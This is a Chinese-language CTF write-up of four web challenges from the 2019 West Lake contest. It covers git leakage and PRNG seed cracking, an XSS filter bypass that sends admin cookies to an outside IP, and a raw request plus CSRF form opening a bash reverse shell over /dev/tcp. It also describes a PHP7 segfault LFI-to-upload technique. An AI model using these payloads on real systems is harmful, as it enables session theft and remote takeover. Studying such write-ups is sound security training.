2019 西湖論劍 Web wp
2019西湖論劍線上賽 Web wp。除了最後一道原題沒時間做,其他都弄出來了。
[TOC]
Web
Web 1 猜猜 flag 在哪
Description
NULL 題目地址:http://ctf1.linkedbyx.com:10122
Hacking
掃目錄發現有 .DS_Store
檔案,發現 http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e
目錄下有 git 洩露
拿到檔案之後有個壓縮包,嘗試明文攻擊得到 hint.txt
拿到 code 為 9faedd5999937171912159d28b219d86,訪問 flag/seed.txt
發現回顯 NAVIE
在首頁輸入 code 引數與 name 引數,回顯了另一個 code
綜合前面給出的 flag/seed.txt
,猜測是個隨機數的問題,應該是要猜解隨機數問題,用 php_mt_seed 這個工具直接爆破可以得到 seed
訪問 flag/209228.txt
拿到 flag
Web2 breakout
Description
NULL 題目地址:http://ctf2.linkedbyx.com:10611
Hacking
隨便用一個使用者名稱進去。
有一個留言功能,可以進行留言,有一個 report 功能,可以報告一個 url 給管理員,還有一個執行命令與清空留言的功能。所以很明顯的一個利用思路就是留言處進行 xss ,把留言介面的 url 傳送給管理員,拿到 cookie 即可進行命令執行
我們先測試留言
<script>alert(1);</script> <:)>alert(1);
發現是字元替代,基本過濾了 DOM 事件,測試用以下 payload
</li><iframe src='http://106.14.153.173:8080/'><li>
成功收到訪問資訊,所以需要我們繞過字元替代進行 xss 。按照我部落格之前寫的 xss 教程,我們可以在 src 處利用 html 實體編碼來進行繞過,這樣就不會出現關鍵字了,就像以下 payload :
</li><iframe src=":window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>
然後我們只需要把 http://ctf2.linkedbyx.com:10611/main.php
在 report 介面提交就好了。
成功拿到 cookie ,這時候我們只需要帶著 cookie 去執行命令就好了
POST /exec.php HTTP/1.1 Host: ctf2.linkedbyx.com:10611 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ctf2.linkedbyx.com:10611/exec.php Content-Type: application/x-www-form-urlencoded Content-Length: 97 Connection: close Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh Upgrade-Insecure-Requests: 1 command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1
這裡我直接彈了 shell ,在根目錄下發現 flag.txt
其實如果拿不到 cookie 的話,也可以用以下方式去構造一個 CSRF
<form action="exec.php" method="post" id="myform"> <input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command"> <input value="1" name="exec"> </form> <iframe src=":parent.document.getElementById('myform').submit();"></iframe>
事實證明也確實可以這麼去做。
waf 黑名單如下:
function waf($str){ $black_list = "script|\W+on.*?="; $str = preg_replace("/".$black_list."/i",":)",$str); return $str; }
Web 3 babyt3
Description
babyt3(Ubuntu 16.04 php7.0) 題目地址:http://ctf1.linkedbyx.com:10010
Hacking
index 提示了有 dir.php 跟 include $_GET['FILE']
Dir.php 可以列目錄,在根目錄下找到 flag ,用 http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4
包含即可
真心想吐槽,這麼水的題你出在西湖論劍上合適嗎???還不如月賽
賽後跟師傅們討論的時候,發現 web3 這種題竟然…能放上來…
index.php 原始碼:
<?php $a = @$_GET['file']; if (!$a) { $a = './templates/index.html'; } echo 'include $_GET[\'file\']'; if (strpos('flag',$a)!==false) { die('nonono'); } include $a; ?> <!--hint: dir.php -->
Dir.php 原始碼:
<?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
然後我們就可以看到這個題是多麼多麼…
strpos('flag',$a) !== false
strops
引數都寫反了…所以就成了沒有過濾的一道題…
預期解
預期解猜測就是使用 php 7 的一個 segmentfault 錯誤的 bug,也對上了題目描述一開始給出了環境配置的原因
POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/test.php Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850 Content-Length: 248 Connection: close Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b Upgrade-Insecure-Requests: 1 -----------------------------9417939141775834208717807850 Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------9417939141775834208717807850--
發以上 http 包,將 php://filter/string.strip_tags/resource=/etc/passwd
這個 payload 傳入 include
方法會讓 php 產生一個 segmentfault ,然後在這段時間內上傳的檔案將會儲存在 php.ini 指定的 upload_tmp_dir
資料夾下,並且不會被刪除。
這樣我們就可以包含我們的惡意檔案程式碼了。具體看 LFI via SegmentFault
自己做了個漏洞環境供復現: PHP7-LFI
Web 4 blog
Description
NULL
Hacking
原題,Google CTF 2018 bbs
github 原始碼地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs
Wp: https://ctftime.org/task/6243
Conclusion
這次比賽收穫不大,說實在的,還沒安恆月賽質量高,而且第三題出的真的是秀了我一臉,讓我很懷疑安恆對這次比賽的題目的檢驗等,也讓我對接下來如何去辦好一場比賽有一些借鑑經驗,希望接下來的 SUCTF 全國賽不會出現這種難以入目的低階錯誤。